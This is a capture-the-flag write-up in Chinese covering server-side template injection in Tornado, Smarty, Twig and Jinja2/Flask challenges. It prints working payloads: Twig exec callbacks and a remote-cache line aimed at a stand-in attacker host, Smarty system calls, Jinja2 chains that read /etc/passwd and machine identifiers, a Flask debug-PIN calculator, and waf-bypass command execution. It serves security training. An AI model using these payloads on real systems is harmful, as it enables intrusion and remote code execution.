BUUCTF SSTI模板注入小结(持续更新)

BUUCTF SSTI模板注入小结

  • [护网杯 2018]easy_tornado
  • [BJDCTF2020]The mystery of ip
  • [BJDCTF2020]Cookie is so stable
  • [CISCN2019 华东南赛区]Web11
  • [WesternCTF2018]shrine
  • [GYCTF2020]FlaskApp
    • 预期解
    • 非预期解
  • [CSCCTF 2019 Qual]FlaskLight
  • 一些链接

BUUCTF SSTI模板注入小结(持续更新)_第1张图片

服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题.

[护网杯 2018]easy_tornado

ssti注入点在msg
注入{{7*7}}出现orz应该是有过滤
{{1}}正常
hint里缺cookie_secret
该项在handler.settings

Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象
RequestHandler中并没有settings这个属性,与RequestHandler关联的Application对象(Requestion.application)才有setting这个属性
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!

BUUCTF SSTI模板注入小结(持续更新)_第2张图片然后按hint里的MD5加密过后传参
BUUCTF SSTI模板注入小结(持续更新)_第3张图片

?filename=/fllllllllllllag&filehash=ff92d5623223cadc00efabfc7676f9fe

filehash不同 请自行加密
BUUCTF SSTI模板注入小结(持续更新)_第4张图片

[BJDCTF2020]The mystery of ip

注入点在flag.php的xff

BUUCTF SSTI模板注入小结(持续更新)_第5张图片
源码:


	require_once('header.php');
	require_once('./libs/Smarty.class.php');
	$smarty = new Smarty();
	if (!empty($_SERVER['HTTP_CLIENT_IP'])) 
	{
		   $ip=$_SERVER['HTTP_CLIENT_IP'];
	}
	elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
	{
	    $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
	}
	else
	{
	    $ip=$_SERVER['REMOTE_ADDR'];
	}
	//$your_ip = $smarty->display("string:".$ip);
	echo "
"
; ?>

cat
BUUCTF SSTI模板注入小结(持续更新)_第6张图片

[BJDCTF2020]Cookie is so stable

BUUCTF SSTI模板注入小结(持续更新)_第7张图片

Twig 给我们提供了一个 _self, 虽然 _self 本身没有什么有用的方法,但是却有一个 env 如下图所示:
BUUCTF SSTI模板注入小结(持续更新)_第8张图片
env是指属性Twig_Environment对象,Twig_Environment对象有一个
setCache方法可用于更改Twig尝试加载和执行编译模板(PHP文件)的位置(不知道为什么官方文档没有看到这个方法,后来我找到了Twig
的源码中的 environment.php 如下图所示:
BUUCTF SSTI模板注入小结(持续更新)_第9张图片
因此,明显的攻击是通过将缓存位置设置为远程服务器来引入远程文件包含漏洞: payload:
{{_self.env.setCache(“ftp://attacker.net:2121”)}}
{{_self.env.loadTemplate(“backdoor”)}} 但是新的问题出现了,allow_url_include
一般是不打开的,没法包含远程文件,没关系还有个调用过滤器的函数 getFilter() 这个函数中调用了一个
call_user_function 方法
public function getFilter($ name) {
[snip]
foreach ($this->filterCallbacks as $ callback) {
if (false !== $ filter = call_user_func($ callback, $ name)) {//注意这行
return $ filter;
}
}
return false; }
public function registerUndefinedFilterCallback($callable) {
$this->filterCallbacks[] = $callable; }
我们只要把exec() 作为回调函数传进去就能实现命令执行了 payload:
{{_self.env.registerUndefinedFilterCallback(“exec”)}}
{{_self.env.getFilter(“id”)}}

原理:也就是说通过向registerUndefinedFilterCallback函数中传入exec,此函数将exec赋值给filterCallbacks[],然后调用getFilter函数,并传入参数name(此参数作为我们需要命令执行的传入的语句),然后将filterCallbacks[]的值取出来即exec赋给callback,再使用call_user_func函数进行调用,相当于执行了call_user_func(exec,name的值),也就是说调用了exec函数,并且将name参数的值作为exec函数的参数,造成了命令执行
原文链接

payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

[CISCN2019 华东南赛区]Web11

BUUCTF SSTI模板注入小结(持续更新)_第10张图片看最后build with smart
ssti
上面还很明显地给了xff
BUUCTF SSTI模板注入小结(持续更新)_第11张图片
BUUCTF SSTI模板注入小结(持续更新)_第12张图片

Smarty常用payload:
利用smarty的{if}条件

  • {$smarty.version}查看smarty版本号
  • {if phpinfo()}{/if}查看php信息
  • {if system(‘ls /’)}{/if}查看根目录下的文件
  • {if system(‘cat /flag’)}{/if}
  • {if readfile(‘/flag’)}{/if}
  • {if show_source(‘/flag’)}{/if}

[WesternCTF2018]shrine

import flask
import os 

app = flask.Flask(__name__) 

app.config['FLAG'] = os.environ.pop('FLAG') 

@app.route('/') 
def index():
	return open(__file__).read()
	
@app.route('/shrine/')
	def shrine(shrine):
		def safe_jinja(s):
			s = s.replace('(', '').replace(')', '')
			blacklist = ['config', 'self'] 
			return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 
		return flask.render_template_string(safe_jinja(shrine)) 
		
if __name__ == '__main__':
	app.run(debug=True) 

看源码
有两个route
有用的是第二个
BUUCTF SSTI模板注入小结(持续更新)_第13张图片
但是有黑名单 遍历为空
需要用py内置函数
url_for或get_flashed_messages
{{url_for.__globals__}}
BUUCTF SSTI模板注入小结(持续更新)_第14张图片看current_app的config试试
{{url_for.__globals__['current_app'].config}}
BUUCTF SSTI模板注入小结(持续更新)_第15张图片

[GYCTF2020]FlaskApp

预期解

利用PIN码 实现flask debug模式下的终端rce

前几天看到篇flask pin码的 当时我以为很高深 就想以后再看 没想到这么快就用上了

PIN码生成的五要素

  • flask所登录的用户名
  • modname 一般是flask.appgetattr(app, “name”, app.class.name)。一般为Flask
  • flask库下app.py的绝对路径 这个可以由报错信息看出
  • 当前网络的mac地址的十进制数
  • 机器的id。

1、通过/etc/password看用户名

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}

flaskweb
BUUCTF SSTI模板注入小结(持续更新)_第16张图片2、modname
上面说了
flask.app
3、绝对路径在尝试是ssti的时候
报错上就是绝对路径
4、mac地址
在/sys/class/net/eth0/address

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

BUUCTF SSTI模板注入小结(持续更新)_第17张图片按照大佬的指示
需要转成10进制

print(int('mac',16));

5、

对于非docker机每一个机器都会有自已唯一的id
linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i
有的系统没有这两个文件

对于docker机则读取/proc/self/cgroup
其中/docker/字符串后面的内容作为机器的id(每一行都一样)

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}

贴一个大佬的代码
用你的替换掉private_bits

 import hashlib
 from itertools import chain
 probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
 ]
 ​
 private_bits = [
     '2485377864455',# str(uuid.getnode()),  /sys/class/net/ens33/address
     'ad4fc7650590f81ec6ab4e3a40f284a6b5a75454fcb50d6ee5347eba94a124c8'# get_machine_id(), /etc/machine-id
 ]
 ​
 h = hashlib.md5()
 for bit in chain(probably_public_bits, private_bits):
     if not bit:
         continue
     if isinstance(bit, str):
         bit = bit.encode('utf-8')
     h.update(bit)
 h.update(b'cookiesalt')
 ​
 cookie_name = '__wzd' + h.hexdigest()[:20]
 ​
 num = None
 if num is None:
     h.update(b'pinsalt')
     num = ('%09d' % int(h.hexdigest(), 16))[:9]
 ​
 rv =None
 if rv is None:
     for group_size in 5, 4, 3:
         if len(num) % group_size == 0:
             rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                           for x in range(0, len(num), group_size))
             break
     else:
         rv = num
 ​
 print(rv)

得到的PIN码
在报错界面点终端BUUCTF SSTI模板注入小结(持续更新)_第18张图片
然后就任你摆布了
BUUCTF SSTI模板注入小结(持续更新)_第19张图片

非预期解

有waf
先读代码

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
 def waf(str):
 black_list = ["flag","os","system","popen","import","eval","chr","request",
 "subprocess","commands","socket","hex","base64","*","?"]
 for x in black_list :
 if x in str.lower() :
 return 1

采用字符串拼接绕过waf(‘flag’ ‘import’ ‘os’)

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

BUUCTF SSTI模板注入小结(持续更新)_第20张图片看到this_is_the_flag.txt
继续拼接绕过

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

[CSCCTF 2019 Qual]FlaskLight

BUUCTF SSTI模板注入小结(持续更新)_第21张图片
寻找执行命可以借助的类

  1. 获取变量[]所属的类名 {{[].class}}
  2. 获取list所继承的基类{{[].class.base}}
  3. 获取所有继承自object的类 {{[].class.base.subclasses()}}

这些类也不熟悉
于是Ctrl + f
搜索如print warn read等和输出有关的词

71位

59位
以site._Printer为例

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}

BUUCTF SSTI模板注入小结(持续更新)_第22张图片

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}

BUUCTF SSTI模板注入小结(持续更新)_第23张图片
warnings.catch_warnings不含os
要用如下方法
shell部分自行更改

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('----shell-----').read()")}}

一些链接

  • flask官方文档
  • 一篇文章带你理解漏洞之 SSTI漏洞
  • Flask debug 模式 PIN 码生成机制安全性研究笔记

你可能感兴趣的:(CTF,网络安全,web安全,linux,后端,flask)